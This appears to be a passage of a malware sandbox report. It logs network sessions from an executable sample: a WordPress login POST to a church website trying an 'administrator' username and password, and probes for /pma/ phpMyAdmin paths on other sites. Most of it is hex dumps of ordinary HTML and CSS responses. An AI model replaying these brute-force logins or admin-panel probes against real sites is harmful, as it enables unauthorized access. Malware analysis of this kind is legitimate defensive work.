2023-11-26 05:59:46 UTC	398	OUT	POST /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=tdc162qtbgvjr05eq5aoaditjn User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://coralparkchristian.org/wp-login.php Content-Length: 143 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:46 UTC	143	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 70 77 64 3d 54 30 4a 52 58 34 57 54 53 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=administrator&pwd=T0JRX4WTS&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fcoralparkchristian.org%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:47 UTC	522	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 72 2d 63 66 2d 6c 69 73 74 5f 65 6d 61 69 6c 5f 73 65 6e 64 5f 74 6f 3d 64 65 6c 65 74 65 64 3b Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:46 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wr-cf-list_email_send_to=deleted;
2023-11-26 05:59:47 UTC	4226	IN	Data Raw: 31 30 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e Data Ascii: 107a<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Con
2023-11-26 05:59:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.4	52662	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	257	OUT	GET /pma/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=tDrWrpYz0sQSHfLN2QI5clVhMz.ytyo40IGQr8aDz4A-1700978385868-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	505	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https:/
2023-11-26 05:59:47 UTC	864	IN	Data Raw: 37 64 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 Data Ascii: 7da4<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8">...[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]--><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link
2023-11-26 05:59:47 UTC	1369	IN	Data Raw: 75 63 68 2d 69 63 6f 6e 5f 37 36 78 37 36 2e 70 6e 67 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 35 32 78 31 35 32 22 20 68 72 65 66 3d 22 2f 2f 74 72 61 64 65 61 76 65 6e 69 64 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 6f 72 74 6f 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 5f 31 35 32 78 31 35 32 2e 70 6e 67 22 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 2b 20 27 20 79 65 73 2d 6a 73 Data Ascii: uch-icon_76x76.png"><link rel="apple-touch-icon" sizes="152x152" href="//tradeavenida.com/wp-content/themes/porto/images/logo/apple-touch-icon_152x152.png"><script>document.documentElement.className = document.documentElement.className + ' yes-js
2023-11-26 05:59:47 UTC	1369	IN	Data Raw: 66 69 6c 6c 54 65 78 74 28 6e 2c 30 2c 30 29 2c 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65 76 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 5b 74 5d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 2c 6e 29 7b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 22 66 6c 61 67 22 3a 72 65 74 75 72 6e 20 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 32 36 61 37 5c 75 66 65 30 66 22 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 5c 75 32 30 30 62 5c 75 32 36 Data Ascii: fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26
2023-11-26 05:59:47 UTC	1369	IN	Data Raw: 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 Data Ascii: Item(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas
2023-11-26 05:59:47 UTC	1369	IN	Data Raw: 2e 6a 71 75 65 72 79 2e 63 73 73 3f 76 65 72 3d 32 2e 32 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 65 6d 6f 6a 69 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 0a 09 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 20 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 77 69 64 74 68 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 6d 61 72 67 69 6e 3a 20 Data Ascii: .jquery.css?ver=2.21' media='all' /><style id='wp-emoji-styles-inline-css'>img.wp-smiley, img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin:
2023-11-26 05:59:47 UTC	1369	IN	Data Raw: 62 6f 74 74 6f 6d 3a 34 70 78 20 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 34 70 78 20 73 6f 6c 69 64 3b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 37 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 66 6f 6f 74 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 Data Ascii: bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote
2023-11-26 05:59:47 UTC	1369	IN	Data Raw: 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 68 7b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 Data Ascii: lock-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:c
2023-11-26 05:59:47 UTC	1369	IN	Data Raw: 20 23 46 46 46 46 46 46 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 3a 20 23 41 37 31 34 34 43 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 72 3a 20 31 36 37 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 67 3a 20 32 30 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 62 3a 20 37 36 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 68 65 73 5f 62 6f 72 64 65 72 5f 72 61 64 69 75 73 3a 20 31 30 30 25 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 Data Ascii: #FFFFFF;--yith-wcan-filters_colors_accent: #A7144C;--yith-wcan-filters_colors_accent_r: 167;--yith-wcan-filters_colors_accent_g: 20;--yith-wcan-filters_colors_accent_b: 76;--yith-wcan-color_swatches_border_radius: 100%;--yith-wcan-color_swatc
2023-11-26 05:59:47 UTC	1369	IN	Data Raw: 65 20 61 2e 66 61 63 65 62 6f 6f 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 66 61 63 65 62 6f 6f 6b 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 35 41 46 45 32 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 35 41 46 45 32 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 3a 68 6f 76 65 72 7b 62 61 63 6b Data Ascii: e a.facebook{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.facebook:hover{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.twitter{background: #45AFE2; background-color: #45AFE2;}.yith-wcwl-share a.twitter:hover{back

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.4	52720	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	174	OUT	GET /pma/ HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:49 UTC	1483	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 48 65 61 64 65 72 73 3a 20 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 20 41 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:46 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Access-Control-Allow-Methods: GET,POSTAccess-Control-Allow-Headers: Content-Type, A
2023-11-26 05:59:49 UTC	6709	IN	Data Raw: 33 39 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 Data Ascii: 391a<!DOCTYPE html><html lang="es-MX"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://gruporegiosafety.com/xmlrpc.php" /><script type="text/javascript">document.documentE
2023-11-26 05:59:49 UTC	7915	IN	Data Raw: 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 3a 20 23 66 37 38 64 61 37 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--pr
2023-11-26 05:59:49 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:49 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 Data Ascii: 1f40-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-viv
2023-11-26 05:59:49 UTC	7822	IN	Data Raw: 65 66 74 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 61 66 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6c 65 66 74 3a 31 65 6d 7d 2e 65 74 5f 62 75 74 74 6f 6e 5f 69 63 6f 6e 5f 76 69 73 69 62 6c 65 2e 65 74 5f 62 75 74 74 6f 6e 5f 6c 65 66 74 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 2c 2e 65 74 5f 62 75 74 74 6f 6e 5f 6c 65 66 74 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 2e 65 74 5f 62 75 74 74 6f 6e 5f 6c 65 66 74 20 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 37 65 6d 7d 2e 65 74 5f 62 75 74 74 6f 6e 5f 69 63 6f 6e 5f 76 69 73 69 62 6c 65 2e 65 74 5f 62 75 74 74 6f 6e Data Ascii: eft .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button
2023-11-26 05:59:49 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:49 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 23 65 74 2d 61 6a 61 78 2d 73 61 76 69 6e 67 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 33 73 2c 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 33 73 2c 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 33 73 2c 62 6f 78 2d 73 68 61 64 6f 77 20 2e 33 73 3b 74 72 61 6e 73 69 74 Data Ascii: 1f40-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow 